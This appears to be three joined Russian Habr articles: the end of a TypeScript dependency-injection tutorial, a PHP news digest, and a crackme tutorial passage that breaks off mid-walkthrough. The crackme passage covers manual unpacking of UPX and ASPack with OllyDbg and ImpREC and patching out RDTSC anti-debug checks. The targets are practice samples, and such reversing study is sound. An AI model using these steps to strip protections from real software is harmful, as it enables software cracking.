this.$log = logs.push.bind( logs )
const context = this.$ambient({ $user_name: 'Jin' })
context.$hello()
this.$hello()
this.$assert( logs, [ 'Hello Jin', 'Hello Anonymous' ] )
}
}
```
Теперь перейдём к объектам. Для простоты работы с контекстами введём простой базовый класс для всех наших классов:
```
namespace $ {
export class $thing {
constructor( private _$: $ ) {}
get $() { return this._$ }
}
}
```
Тут мы инъектируем контекст окружения через конструктор. И добавляем геттер, позволяющий получать зависимости через контекст минимальным объёмом кода. Геттер нам нужен для того, чтобы можно было переопределять контекст в потомках не потеряв переопределения предков. Для примера, создадим карточку, которая приветствует пользователя, добавляя к имени восклицательный знак:
```
namespace $ {
export class $hello_card extends $thing {
get $() {
return super.$.$ambient({
$user_name: super.$.$user_name + '!'
})
}
get user_name() {
return this.$.$user_name
}
set user_name( next: string ) {
this.$.$user_name = next
}
run() {
this.$.$hello()
}
}
}
```
Напишем тест, чтобы удостовериться, что это действительно работает:
```
namespace $.test {
export function $hello_card_greets_anon_with_suffix( this: $ ) {
const logs = [] as unknown[]
this.$log = logs.push.bind( logs )
const card = new $hello_card( this )
card.run()
this.$assert( logs, [ 'Hello Anonymous!' ] )
}
}
```
Супер, теперь посмотрим, как выстраивать дерево объектов. Тут основная идея в том, что у каждого объекта есть владелец, который контролирует его время жизни и контекст окружения. Давайте создадим страничку, которая владеет нашей карточкой:
```
namespace $ {
export class $hello_page extends $thing {
get $() {
return super.$.$ambient({
$user_name: 'Jin'
})
}
@ $mem
get Card() {
return new this.$.$hello_card( this.$ )
}
get user_name() {
return this.Card.user_name
}
set user_name( next: string ) {
this.Card.user_name = next
}
run() {
this.Card.run()
}
}
}
```
Выносим создание владеимого объекта в отдельное свойство. Инъектим в него текущий контекст. И мемоизируем результат с помощью `$mem`. Возьмём самую простую его реализацию без реактивности:
```
namespace $ {
export function $mem(
host: object,
field: string,
descr: PropertyDescriptor,
) {
const store = new WeakMap< object, any >()
return {
... descr,
get() {
let val = store.get( this )
if( val !== undefined ) return val
val = descr.get!.call( this )
store.set( this, val )
return val
}
}
}
}
```
`WeakMap` нужен чтобы такое свойство можно было безопасно переопределять в подклассах, не ломая мемоизацию. Что ж, проверим, что имя пользователя действительно поменялось, а восклицательный знак не потерялся:
```
namespace $.test {
export function $hello_page_greets_overrided_name_with_suffix( this: $ ) {
const logs = [] as unknown[]
this.$log = logs.push.bind( logs )
const page = new $hello_page( this )
page.run()
this.$assert( logs, [ 'Hello Jin!' ] )
}
}
```
Отлично, работает. Теперь усложняем задачу - переопределяем класс для поддерева объектов. Создадим новый класс для карточки, который позволяет переопределять имя пользователя, сохраняя его в локальное хранилище.
```
namespace $ {
export class $app_card extends $.$hello_card {
get $() {
const form = this
return super.$.$ambient({
get $user_name() { return form.user_name },
set $user_name( next: string ) { form.user_name = next }
})
}
get user_name() {
return super.$.$storage_local.getItem( 'user_name' ) ?? super.$.$user_name
}
set user_name( next: string ) {
super.$.$storage_local.setItem( 'user_name', next )
}
}
}
```
Само локальное хранилище - это просто алиас для нативного объекта:
```
namespace $ {
export const $storage_local: Storage = window.localStorage
}
```
А раз оно у нас персистится, то нужно нужно рядом положить и мок, который сохраняет данные не в нативное хранилище, а во временный объект:
```
namespace $ {
const base = $isolated
$.$isolated = function( this: $ ) {
const state = new Map< string, string >()
return base.call( this ).$ambient({
$storage_local: {
getItem( key: string ){ return state.get( key ) ?? null },
setItem( key: string, val: string ) { state.set( key, val ) },
removeItem( key: string ) { state.delete( key ) },
key( index: number ) { return [ ... state.keys() ][ index ] ?? null },
get length() { return state.size },
clear() { state.clear() },
}
})
}
}
```
Теперь мы, наконец, можем реализовать наше приложение, которое подменяет в контексте исходный класс `$hello_card` на свой `$app_card`, и всё поддерево объектов будет инстанцировать именно его.
```
namespace $ {
export class $app extends $thing {
get $() {
return super.$.$ambient({
$hello_card: $app_card,
})
}
@ $mem
get Hello() {
return new this.$.$hello_page( this.$ )
}
get user_name() {
return this.Hello.user_name
}
rename() {
this.Hello.user_name = 'John'
}
}
}
```
Напишем пользовательский сценарий, где мы сначала сохраняем состояние локального хранилища и стираем его, потом проверяем, что имя соответствует дефолтному поведению, при переименовывании оно меняется и сохраняется даже при перезапуске приложения, а в конце подчищаем за собой, убеждаемся, что очистка сработала, и восстанавливаем состояние локального хранилища:
```
namespace $.$test {
export function $changable_user_name_in_object_tree( this: $ ) {
const name_old = this.$storage_local.getItem( 'user_name' )
this.$storage_local.removeItem( 'user_name' )
const app1 = new $app( this )
this.$assert( app1.user_name, 'Jin!' )
app1.rename()
this.$assert( app1.user_name, 'John' )
const app2 = new $app( this )
this.$assert( app2.user_name, 'John' )
this.$storage_local.removeItem( 'user_name' )
this.$assert( app2.user_name, 'Jin!' )
if( name_old !== null ) {
this.$storage_local.setItem( 'user_name', name_old )
}
}
}
```
Тесты неспроста написаны в таком стиле, чтобы их можно было запускать не только на чистом состоянии, но и на грязном. Это позволит нам гонять одни и те же тесты с разными уровнями изоляции.
Запустим тесты в полностью изолированном контексте, чтобы проверить, что реализовали всю нашу логику правильно:
```
namespace $ {
$.$test_run()
}
```
А теперь запустим их же, но без изоляции, чтобы проверить, что наша логика корректно работает со внешними системами. Для этого просто создадим контекст, где `$isolated` возвращает производный контекст, но без каких-либо переопределений:
```
namespace $ {
$.$ambient({
$isolated: $.$ambient
}).$test_run()
}
```
Этот второй вариант, если запустить в Сафари в порно режиме, выдаст исключение, так как в нём нельзя обращаться к localStorage, а этот кейс в нашей наивной реализации `$storage_local` не предусмотрен.
Аналогично, запуская тесты в разных контекстах, можно проверять работу вашего кода с публичным сервером, с тестовым сервером, и вообще без сервера.
Подробнее об этом подходе к тестированию можно ознакомиться в моём выступлении на TechLeadConf: [Фрактальное Тестирование](https://slides.hyoo.ru/#slides=https%3A%2F%2Fnin-jin.github.io%2Fslides%2Ftesting%2F).
Разобранный же тут подход к инверсии контроля активно применяется во [фреймворке $mol](https://mol.hyoo.ru/), что даёт ему потрясающую гибкость и простоту кода. Но это уже совсем другая история…
Если вас смущает общий неймспейс и отcутствие import/export, то можете ознакомиться с этим анализом: [Fully Qualified Names vs Imports](https://github.com/hyoo-ru/mam_mol/wiki/Fully-Qualified-Names-vs-Imports). А если смущает именование через подчёркивание, то с этим: [PascalCase vs camelCase vs kebab case vs snake\_case](https://github.com/hyoo-ru/mam_mol/wiki/PascalCase-vs-camelCase-vs-kebab-case-vs-snake_case).
[TypeScript песочница со всем кодом из статьи.](https://www.typescriptlang.org/play?emitDecoratorMetadata=false&ssl=84&ssc=9&pln=84&pc=35#code/PQKhAIHEBsHsCMCG1yILbwJYFMB2AXcAY1gOwA9CRgAoXdbAZwAdEjtwAScAbxvAHhQEGAmTFSjfIgLhq-QRWawAToWjZCnAK6NsKgPr002AFzgpKzLgDm4ALzgA5AEFcpAJ5pYupzQC+NHQMLGwc3HyCQmDgLhg4siRklOD4Hswc8lFKqoRpGVwOqenYsABmXAFBxkys7IWRgsLgAAoqsAAm2uyM4B36mABu2B3gmIyw0Ij4I6jxeIRJMylZiuTKauBl2rhE+JikXOOT0yMAFKkAFuPm3ACUvApRAiqa2iq4V+MAdJzoWAszjx-HcnuBAoFgiZQvUImDmqIkChtrt9odVgIcpsUXsDp9OHAbBd8NdGLcADTgb7U8CsFToMngHYAa3cAHdcABtAC64AejWeElwEw030JF2p31piHpaF6oKiEKhtTCDXhMQAkiLTqNhipGHjwOVwDY4EitjtcejaFEklJwEg9EVOMcpjMOmDOL9XTqiji0bhiaTbnzHoKXm8Pg7EHpvkRkNAg+M+b9-gl8ECweGuITzGc7vYAHy8QLZkFgpXKmHhMNNGKI8T+w0k6ZMvS9QbIbRMLbtNBzAGJUjLKg2tYbQhNw6cS7YaBwJOM+61wUkn4E2BE5wACTncGc4AA1F9GL9dPojAw+RWqlW6jWBdEIAAlHa9awD9NCkeoed9bBEFMryjDMUi9Bi4BYoQMYeLsFqooanCgfgBgqDsi4hvyWaCNhAhlKoFx2nkTCEMaADy8AAFYAfg3ydtA3aMIuvzIaGWHZlEiBsogmDEVIcYJsxLrau6+bXmWQTZmup4blurh-shvSsIwegdE44mCJWNTVmqUTNAAypgaDMBoqAqfoAbwVanwQVBVmWX85lqAAPOAABqXYcIWFyIOYHkMdglLwH5nmho+US4UK9qMIgRQAFL6WRABy3yWNYNiYGUHg+ZSuDaPOlJOAAOvg6kKuGREWPA8WJSlaW2Jl2UOrl+XQIVJVlZFkWZRcMUOPYjiMNVDyvPg7y4JFJLtGy4C4NgM0AKIqO0KgXAABklsCENgACO2jIEVuCcDwMX+Idx1Df4a2gjekLafeXAsSRK5PuAAAqJG9Aa-SoGUZQ0XIY6YusuT2Yhs7zrABg2K8miMAYMikAY8AeAY-RlIg+UZiemGPJFlWEr0jg8mZTK4KysAcjyk2kr8hJFIT3zMLolzfFguAdBchMaYKNPrhDC7lautOOXoahc5ujCUpyO57rAsTuLgXg+Iw6m8jdiq3vdqpwnpMRtJ03Q9v0VjDKMaYLN+FCEGyvGXEaepWP04FA5BIPYpaDkWwQZx80u5KRbAepFMCpMtDK+zIK53CFgHUR3CG4WCJVSzW0UFHUXscavKci4888+GrVFk44NAozkVRNHfDYmhkRyBsZGoHhJSEFxB-obEvdmlXO0QKjp5XWc1-gde4A3FkeAAIkwfeYMw+AEQ7+iUmUpejHcACEkVRBnVfo9Y2Dj03hHDtbK9r5Svf90LzyluGo3jVblC3dUIQPV6SHPY+zQfWBn6W6nFI7dlqYGdoDMEdkpz4gFlDGG2A4YGGAU7EYl4TAYUKFhfGkh1CSyKCTGMZMKZU25H7Omm4GaSyZizNm1hObgG5jfCK3dsFP0II4aSqZ5g+x4Fwc8hgajmCcHFaw6lyzMOSLRGcct8ykKkZDGR2ZZExjFtjQm0tZaQ3AMI3AThCq7k0W4Tw3hfDgHVpJTSWs346xes0AAQjGDggFlHgFtiSf+Q4JEWG0MwCc4Dsju0WFMFSXA1y2C7snbBaE9iL2YKbU44ADCcFxsCSKw8uBiR4Q-KMHDEnghfneax38YgAGEgm9FcfbJBoDZje0WKfFYrs7JOOCXIuABh4wqFGNbPAHRehIWuGEvgqTNDpPYhxCMY0oyMG8foX4nDBwZiTuMnQYtUFmC8Y3OZKyLw1CPM4DefhxkCDEeGSE2Y0l8LWRk7eggsmfA4R-S5NRIp30FHoQgTyGAXDmpQcw9U7BjPGQ8s8qzdmOB+fgF5XVsxoUDICjiwLWmwAUac8xxzLHQnfk9e0RSIC-3wL0WprCl4gLAYXI0g8CV+PHKDKBXAYHtJlB0aGsMCUI0VgYCpBhpl-UwOQdBy4hniPtNzYmvICEsnZFyEhUkRb00cIzZmjBWbszoQw6FFUWEdNGOC+a9K5aMs6XnRhycmXfFhTIpRTlVGS3UU4fR+5DFK2MYwA5pjrz5O1rCGxMQACy2BvCYAAF49jubMei3ZqXA18XSzgJg0C+2zJcWAUhzAIEzvgOO4ZV5zg6H8-AVhbBZsFFfcwR80jT0YLPeeqhi1hSwcKQgUhVAcF1TNAA6tgRAzJfWIGYK5dNNFKQyA8OAbyGt76Rk+Es54kp-xVpUHW85mhrk3MFBoQg9EijNteNXFdJ585HLGGUC4W6N4DTJvvOa69wB3PAPRNdzxH1RC3Y4K+e78AbwEvOY1z7BA7uwKlfd0lKRbpNeMv9EzH4PqPa82+aK8l3Ssd63F4BSnOIqe4upnjYmwFYDYaYzZ5Ykg4NYOa-dB17BdhAgJxAyn6shgYfDHBukcz6aEuwQrwxpM4Nco9d7pmbI-rUzMR6ojbP4QwQR2jDlHJOYKODTDwwAAEuDxuGYQYpTK+NHLvXNGaiKGXaqEoeixijl0fNBV8+FMKp0nm+Fpzp3xPkmChdmd5bYdlfNmtbfNhaAXhOFj8RzHRnNWZMEUCFbnwyRQtTZ8MHCQvmvQuBvJnrkPhGxYQVD+LCVcOwz+aws4rAzF2BwKaPgbD2xIMZUgCxegFvgVGt2MbPbgwNcxll8C2VVP6MymonK7bcu0Ly-lOMMF42FTgmwRNwD4N6JKym0rZHyvoZQpVKraESxm6ZgQDb7TMci3qpFTHEA11-dmZjyW4UIaiA85RFlttSzmxo-c2i3VmPS5iwpCHmgtFyOIFgAFMqYCIHR5xeoDSHGNKaMQKBmnUf8b4hHXA+3MENV0ygPS+m-CM0ywL4ANOjIJ7aFhhd+zsNJI+gTMyVBbJEzOizvDwvYAybeuz5OwteYi-4JdRyPMSauT535FgC3pTClsVQaAueSYi7qlIinTmpbOdxkZLnWfxcFDToTvwd1newAYOA8ZoAfo1DMBNzh1dlXAAAfhtxs2ZjyWfRbeWrln3zfOi-8-Wo9gnHe64XvSGuhvYDG6A-gM3AaLhOCt7lNOyuEMq4EM0MijtqlfVgBFlH5KyMd2mfARrmRGm0ZR38HxbtSu9JCQMzjt3BA8Z0+M7X-u-j5dE2JgQJ3tW3DRxjvnCmE+RVU3GgNROHXIs188PTerDMdf1yZwfTP1eN44nejh4+ZdrKhbFvA1mSeCHX3LTfYLnBxVgJcHR2-NYRSQ99lD6oIAuGgJgBxvR6D7GGBSjNqR5ZEsAaOGjZHFhTgPXYPI3ZAcwfSQPfXIoW2DmSmMUUPZAKA1QfXKoL1B8MESqR0VtI4ESEYB-cAX1UPZkMYYyDQEwAgQjQ4FsQgH0UCCwapSCP6GiRHQQD+eg2YRwKBAVetfbJtaQGYI7GaXtftL3dKSkf5MdFFLXOzHA79RMA9O4eZdMTMR9EA6AsApA6AcwRnVXCPc3C4ZkbADwPzcXO4TJOzKQU4D9Iwkw0MO3WaVqcEfvDid5SPC3Yw0w8Qote9CAnwgLHhawmYcPOwjwUDcQB4XnSDdnbwYYDwsIswsJfkUXGw-oDdVncALw0MaIjvAQLwi4WhCgcwPKDADuFIu9GWOdYIwDLwpiB4bkGWIo8gd1RwvKP8XIvItJDQWwEkNnATQQwDA0ENFwmIwCLtVaFImouMDQGUMSTo8ZJPW+VLL7FUWELLH1PFT6WkfQA0awsrZrSBNracIgS4GQAjeADQAwdXAwawRBSlAwQvXgzBKbWaBgRBMuIoB5UAg3cAk3YeBIy3FnTqWVdcH4kPMPV4OI7AQEmPYEj1V4tHAARmENRx8QuwSxFge3FlQB8SROPwYEKne06kimRPNV3zQVS3u2tR8jxIJJMCJPPx0QRM1UbVxOYAACZUSy9mAMSgsZJsTsY0cOT6TApT8mSSTQSZJwS-jyToTYSrddt7NRZHt2SRT1ciTrA3UJ1BQeo3iTAPjRhz1wVnDJ87sRYZTtDw8FTgTcp3jJh14r8LFb81jMCX1YBQFwAzgYI4J8wixJtwxmhXxPgExUhtiPxODzZ8tiUIJOJuJeJHpP4pBUIUs69k8YhgzfwUBFIXE7YfA6CRJDRYy6wIAAAxHiaAd8T4fSRADGKwMYT4WJIYeJbwH6eAACTGJ0NgHoBreWP4lAoPUjXoQuLADofoGyV2OMniLQFQwEPQzvSM24WcggF5ZQpMlCOLRPO4GRSEIAA)
 | https://habr.com/ru/post/541800/ | null | ru | null |
# PHP-Дайджест № 101 – интересные новости, материалы и инструменты (15 – 29 января 2017)
[](https://habrahabr.ru/company/zfort/blog/320756/)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PHP 5.6.30](http://php.net/archive/2017.php#id2017-01-19-3) — Последний полноценный релиз ветки 5.6. Согласно [календарю релизов](http://php.net/supported-versions.php), исправления ошибок безопасности будут выпускаться еще в течение двух лет.
* [PHP 7.0.15](http://php.net/archive/2017.php#id2017-01-19-2), [PHP 7.1.1](http://php.net/archive/2017.php#id2017-01-19-1) — Обновления актуальных веток.
* [Laravel 5.4](https://laravel.com/docs/5.4/releases) — Под капотом новый инструмент тестирования [Laravel Dusk](https://laravel.com/docs/master/dusk), сборка фронтенда с помощью webpack вместо Gulp, автоматические фасады, markdown для шаблонов писем, и другие улучшения.  [Краткий обзор нововведений в Laravel 5.4](https://habrahabr.ru/post/320010/).
* [Безопасные обновления для WordPress](https://core.trac.wordpress.org/ticket/39309) — Внесено предложение реализовать крипто-проверку автоматических обновлений с помощью [paragonie/sodium\_compat](https://github.com/paragonie/sodium_compat).
* [Deployer 4.1.0](https://deployer.org/blog/deployer-410-release)
### PHP
* [RFC: Permit trailing whitespace in numeric strings](https://wiki.php.net/rfc/trailing_whitespace_numerics) — На данный момент PHP игнорирует пробельные символы в начале числовой строки, то есть `" 123"` и `"123"` эквивалентны. А вот если пробельные символы идут в конце, то такое число считается не валидным. Предлагается исправить несправедливость.
* [RFC: Disallow Multiple Constructor Calls](https://wiki.php.net/rfc/disallow-multiple-constructor-calls) — Предлагается запретить множественный вызов конструктора.
* [RFC: Deprecate and Remove Bareword (Unquoted) Strings](https://wiki.php.net/rfc/deprecate-bareword-strings) — В текущих версиях PHP использование строки без кавычек бросает ошибку уровня E\_NOTICE. Предлагается в ближайшей версии бросать E\_WARNING, а затем и вовсе ParseError.
* [RFC: Deprecations for PHP 7.2](https://wiki.php.net/rfc/deprecations_php_7_2) — Прошло голосование по списку функциональностей на объявление устаревшими: `__autoload`, `$php_errormsg`, `create_function()`, `mbstring.func_overload`, `(unset) cast`, `parse_str()` без второго аргумента, `gmp_random()`, `each()`, `assert()` со строковым аргументом, аргумент `$errcontext` в обработчике ошибок.
### Инструменты
* [corpsee/php-censor](https://github.com/corpsee/php-censor) — CI-сервер на PHP. Форк практически заброшенного [PHPCI](https://github.com/block8/phpci). Прислал [Corpsee](https://habrahabr.ru/users/corpsee/).
* [denisyukphp/tmpfile](https://github.com/denisyukphp/tmpfile) — Класс для работы с временным файлом как альтернатива стандартной функции tmpfile(). Прислал [Александр Денисюк](https://denisyuk.by/).  [Хабрапост](https://habrahabr.ru/post/320078/) в поддержку.
* [Microsoft/tolerant-php-parser](https://github.com/Microsoft/tolerant-php-parser) — На данный момент экспериментальный парсер PHP на PHP от Microsoft. Предназначен для использования в IDE, то есть где код заведомо не полный, а значит парсер должен быть устойчив к ошибкам.
* [php-fig/http-message-util](https://github.com/php-fig/http-message-util) — Пара интерфейсов с набором констант HTTP статус кодов и HTTP-методов.
* [php-enqueue/enqueue-dev](https://github.com/php-enqueue/enqueue-dev) — Компоненты для работы с очередями сообщений. Поддерживаются транспорты Amqp, Stomp, файловая система.
* [shadowhand/latitude](https://github.com/shadowhand/latitude) — SQL query builder.
* [ezimuel/PHP-Secure-Session](https://github.com/ezimuel/PHP-Secure-Session) — Шифрование для нативных сессий.
* [jmolivas/phpqa](https://github.com/jmolivas/phpqa) — CLI-инструмент, который объединяет в себе популярные решения проверки качества кода для удобства использования.
* [digitalkaoz/php-ipfs](https://github.com/digitalkaoz/php-ipfs) — Клиент для [IPFS](https://ipfs.io/).
* [flyimg.io](https://github.com/flyimg/flyimg) — Приложение для изменения размеров, обрезки и сжатия изображений на лету.
* [cweagans/composer-patches](https://github.com/cweagans/composer-patches) — Плагин для Cоmposer, который позволяет применять патчи к зависимостям.
* [asyncphp/paper](https://github.com/asyncphp/paper) — Асинхронный конвертер HTML в PDF.
### Материалы для обучения
* ##### Symfony
+ [matthiasnoback/symfony-console-form](https://github.com/matthiasnoback/symfony-console-form) — Пакет объединяет компоненты Form и Console и позволяет заполнять формы из консоли. [Пост](https://php-and-symfony.matthiasnoback.nl/2017/01/introducing-symfony-console-form/) в поддержку.
+ [Неделя Symfony #525 (16-22 января 2017)](http://symfony.com/blog/a-week-of-symfony-525-16-22-january-2017)
+ [Неделя Symfony #526 (23-29 января 2017)](http://symfony.com/blog/a-week-of-symfony-526-23-29-january-2017)
* ##### Yii
+ [loveorigami/yii2-plugins-system](https://github.com/loveorigami/yii2-plugins-system) — Система плагинов для Yii 2. Прислал [loveorigami](https://habrahabr.ru/users/loveorigami/).
+ [Пример использования Yii2 в плагине WordPress](http://lslsoft.com/2017/01/25/using-yii2-extension-in-wordpress/)
+  [Yii2: какой кэш быстрее?](https://belyakov.su/yii2-kakoi-kesh-bystree) — Простой бенчмарк DbCache, FileCache, MemCache и RedisCache.
* ##### Laravel
+ [plank/laravel-metable](https://github.com/plank/laravel-metable) — Пакет для добавления метаданных к моделям Eloquent.
+ [orchestral/testbench](https://github.com/orchestral/testbench) — Пакет для упрощения тестирования при разработке собственных пакетов для Laravel.
+ [jcc/blog](https://github.com/jcc/blog) — Блог на Laravel и Vue.js.
* [Туториал по использованию Google Calendar API](https://www.sitepoint.com/calendar-as-a-service-in-php-easy-with-google-calendar-api/)
* [Создаем SOAP-сервер с помощью](https://framework.zend.com/blog/2017-01-24-zend-soap-server.html) [zend-soap](https://github.com/zendframework/zend-soap)
* [PHP любит сортировать](https://www.exakat.io/php-likes-sorting/) — `array_unique()`, `glob()`, `scandir()` по умолчанию выполняют сортировку, что может сильно замедлить результат на больших входных данных.
* [О конфигурации PHP и безопасности](https://paragonie.com/blog/2017/01/configuration-driven-php-security-advice-considered-harmful) — Почему тюнинг php.ini практически не влияет на безопасность приложения.
* [Туториал по использованию Eloquent ORM без Laravel](https://code.tutsplus.com/tutorials/using-illuminate-database-with-eloquent-in-your-php-app-without-laravel--cms-27247)
* [О структуре директорий PHP проектов](http://blog.nikolaposa.in.rs/2017/01/16/on-structuring-php-projects/)
* [3 причины использовать неизменяемые объекты](https://medium.com/web-engineering-vox/3-benefits-of-using-immutable-objects-886ca2c56e85#.34uro14w1)
* [On Aggregates and Domain Service interaction](https://ocramius.github.io/blog/on-aggregates-and-external-context-interactions/)
* [Подробный туториал по запуску WordPress на AWS](https://parall.ax/blog/view/3212/how-to-run-scalable-wordpress-on-aws-amazon-web-services-tutorial)
* [Сравнительный обзор GraphQL vs REST](https://philsturgeon.uk/api/2017/01/24/graphql-vs-rest-overview/)
*  [Каталог шаблонов проектирования с примерами на PHP](https://nixsolutions.github.io/design-patterns/) — Код доступен [тут](https://github.com/nixsolutions/design-patterns).
*  [Обнаружение дефектов кода типа «Expression Issues» (CWE-569)](https://habrahabr.ru/company/echelon/blog/320398/)
*  [Новый быстрый старт с PHPixie: строим цитатник коммит за коммитом](https://habrahabr.ru/post/320056/)
*  [Генерация документов в doc, excel, pdf и других форматах на сервере](https://habrahabr.ru/post/320268/)
*  [Мониторинг приложений с помощью Pinba](https://habrahabr.ru/company/badoo/blog/319934/)
*  [PHP 7.1.1 FPM vs Node.js 7.4.0 в качестве web backend сервера](https://habrahabr.ru/post/320670/)
### Аудио и видеоматериалы
* [Подкаст PHP Roundtable #057: Все о компании Zend](https://www.phproundtable.com/episode/all-things-zend-framework-apigility-certification)
### Занимательное
*  [Куда идёт сеньор?](http://anton.shevchuk.name/php/next-step-for-senior-developer/)
* [Участница конкурса Мисс Вселенная из Индонезии программирует на PHP](https://www.facebook.com/MissUniverse/videos/10155025058439047)
* [Самые часто используемые слова в коде открытых проектов на различных ЯП](https://anvaka.github.io/common-words/#?lang=php) — [](https://anvaka.github.io/common-words/#?lang=php)
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 100](https://habrahabr.ru/company/zfort/blog/319580/) | https://habr.com/ru/post/320756/ | null | ru | null |
# Иследование несложных crackme's (часть 3)
Здравствуйте, Хабралюди.
Представляю вам третью часть из моего цикла статей о исследовании крякмисов. В этом топике мы поговорим с вами о ручной распаковке некоторых пакеров и о преодолении не сложных антиотладочных методов.
#### 1. Ручная распаковка
Из инструментов мне понадобились:
* 1. OllyDbg
* 2. Плагин Olly Dump
* 3. ImpREC
* 4. PE tools
* 5. PEid
##### Теория
Запакованная программа работает следующим образом:
Сначала запускается код распаковщика, который начинает расшифровывать запакованый програмный код. После окончания расшифровки делается прыжок на OEP программы и далее начинает выполняться уже распакованный програмный код.
Алгоритм распаковки будет таков:
1. Находим RVA OEP.
2. Дампим программу.
3. Восстанавливаем таблицу импорта.
4. Меняем точку входа на оригинальную.
Итак, нужный нам адрес OEP высчитывается по формуле:
`RVA OEP = VA OEP - ImageBase`, где:
**Image Base** — это адрес в памяти, начиная с которого программа загружена в память
**OEP (Original Entry Point)** — это адрес, с которого бы начала выполняться программа если бы не была упакованна.
**Virtual Address (VA)** — виртуальный адрес элемента в памяти
**Relative Virtual Adress (RVA)** — относительный виртуальный адрес. Адрес относительно ImageBase.
Ну вот к примеру, мы нашли OEP равный 00301000, а ImageBase равно 00300000, тогда RVA OEP будет равно 1000. Значение ImageBase можно узать посмотрев в любом редакторе PE заголовков.
После того, как мы найдём RVA OEP нам необходимо снять дамп программы. Дамп означает — область (часть) памяти или же файл, сохраненный на диск из памяти. Снять дамп — значит сохранить нужную область памяти (обычно занимаемую программой) на жесткий диск. В итоге получаем распакованную программу.
Далее нам необходимо восстановить таблицу импорта. Таблица импорта хранит информацию о функциях, используемых программой при ее работе. Исходно таблица импорта хранит в себе адреса, по которым в файле находятся имена импортируемых функций, т.е. функций используемых при работе программы. При запуске программы эти адреса (это все в памяти происходит) перезаписываются прямыми адресами имортируемых функций. Восстанавливать её необходимо потому, что те ячейки, в которых изначально лежат адреса имен функций, используемых для получения уже прямых адресов функций в любой версии операционной системы, уже заполнены адресами этих функций в той системе, в которой дампили программу. В этом случае информация об адресах имен функций уже не может быть восстановлена и при запуске такой программы будут использоваться уже записанные прямые адреса функций. А это приводит к неработоспособности программы на других версиях ОС.
И наконец восстанавливаем OEP. Это можно сделать с помощью любого редактора PE заголовков.
Вот и вся теория.
##### Практика
В этой статье мы рассмотрим два пакера. Это UPX и ASPack. Распаковка других пакеров не сильно будет отличаться от распаковки этих двух.
###### UPX
Скачиваем самую свежую версию. Пакуем что — нибудь. Запускаем это под отладчиком.
Во время расшифровки запакованного кода пакер во всю использует стек. Естественно, чтобы запакованная программа работала правильно, пакеру необходимо сохранить начальное значение стека и потом, после завершения распаковки, восстановить его. Практически во всех упаковщиках, когда они восстанавливают стек перед переходом на OEP, считывается значение в стеке по адресу esp-4.
Таким образом, в Olly ставим бряк командой «hr esp-4». Затем запускаем программу и видим, что бряк сработал тут:
`00472176 . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80] //Процедура
0047217A > 6A 00 PUSH 0 //зачистки
0047217C . 39C4 CMP ESP,EAX //стека
0047217E .^75 FA JNZ SHORT 111.0047217A //нулями.
00472180 . 83EC 80 SUB ESP,-80
00472183 .^E9 386EFEFF JMP 111.00458FC0 //Прыжок на OEP`
Далее трассируем программу до OEP(грубо говоря становимся на OEP). С помошью плагина Olly Dump дампим программу.
Теперь осталось только восстановить импорт.Запускаем нашу запакованную программу и ImpREC. В списке процессов ImpREC'a находим нашу программу. В поле RVA вводим RVA OEP( выше описано как его найти). Нажимаем AutoSearch. После появления сообщения о том, что скорее всего что — то найдено нажимаем Get Imports и, если в списке появились функции, то нажимаем Fix Dump и выбираем наш дамп. Вот и всё программа распакована.
###### ASPack
Тут всё аналогично, за исключением некоторого момента. После установки бряка мы попадаем сюда:
`0046F416 75 08 JNZ SHORT Test_Com.0046F420
0046F418 B8 01000000 MOV EAX,1
0046F41D C2 0C00 RETN 0C
0046F420 68 C08F4500 PUSH Test_Com.00458FC0 //кладём в стек OEP
0046F425 C3 RETN // Косвенно переходим на OEP`
В остальном процедура одинакова.
##### Крякмис на тему распаковки
[Вот](http://www.crackmes.de/users/znycuk/crackme2_find_my_passw0rd/download) этот крякмис.
Распаковываем так как описано выше. Всё отлично распаковывается.(Для справки OEP = 00401000). После этого савим бряки на вызов функции GetDlgItemTextA, запускаем, вводим фейковый пасс, нажимаем на кнопку и попадаем сюда:
`00401206 . E8 1B060000 CALL // Мы здесь
0040120B . 8B35 00604000 MOV ESI,DWORD PTR DS:[406000]
00401211 . 81C6 7F010300 ADD ESI,3017F
00401217 . 81EE 66060000 SUB ESI,666
0040121D . 81F6 ADDE0000 XOR ESI,0DEAD
00401223 . BB 33604000 MOV EBX,dddddddd.00406033
00401228 . C0E0 03 SHL AL,3 // Внимание!
0040122B . 83F8 78 CMP EAX,78 // Внимание!
0040122E . 0F85 9A050000 JNZ dddddddd.004017CE // Прыжок на "плохую" ветку`
В EAX у нас находится длина введённого пароля. Командой SHL al,3 мы выполняем логический сдвиг значения AL влево на 3 и в идеале мы должны получить 78.Проведём процедуру обратную shl. Это shr 78,3 = 0F = 15 длина валидного пароля. Дальше я очень долго трассировал до некоторого момента и на пути мне встретилось несколько антиотладочных трюков:
`004012B0 0F31 RDTSC //Вот
004012B2 8BC8 MOV ECX,EAX
004012B4 0F31 RDTSC //Вот
004012B6 2BC8 SUB ECX,EAX
004012B8 F7D1 NOT ECX
004012BA 81F9 00500000 CMP ECX,5000
004012C0 -7F FE JG SHORT crackme2.004012C0 // И Вот`
Инструкция RDTSC возвращает в регистр EAX количество тактов с момента последнего сброса процессора. В коде выше мы видим два вызова этой инструкции а потом сравнение разницу их выводов с неким эталонным значением. Дело в том, что, когда программа выполняется без отладчика, разность тактов будет мала, а когда она под отладчиком то разность будет большая. Подобных моментов вам встретится много, просто пачте их или меняйте флаги. Когда вы до трассируете до следующего момента:
`0040126A 0F31 RDTSC
0040126C 8BC8 MOV ECX,EAX
0040126E 0F31 RDTSC
00401270 2BC8 SUB ECX,EAX
00401272 F7D1 NOT ECX
00401274 81F9 00500000 CMP ECX,5000
0040127A 7C 05 JL SHORT crackme2.00401281
0040127C -E9 139C04EC JMP EC44AE94
00401281 EB 0D JMP SHORT crackme2.00401290`
Обратите внимание на 0040127C. Тут совершается прыжок на несуществующий адрес, поэтому смело патчим переход на 00401281. Таких моментов будет несколько. Трассируете до такого кода:
